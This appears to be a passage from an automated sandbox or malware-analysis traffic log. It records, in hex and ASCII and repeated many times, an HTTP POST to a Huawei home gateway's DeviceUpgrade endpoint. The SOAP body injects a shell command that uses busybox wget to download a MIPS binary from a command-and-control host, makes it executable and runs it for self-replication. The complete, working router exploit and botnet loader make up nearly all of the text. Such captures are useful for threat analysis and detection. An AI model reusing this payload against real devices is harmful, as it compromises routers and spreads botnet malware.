79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 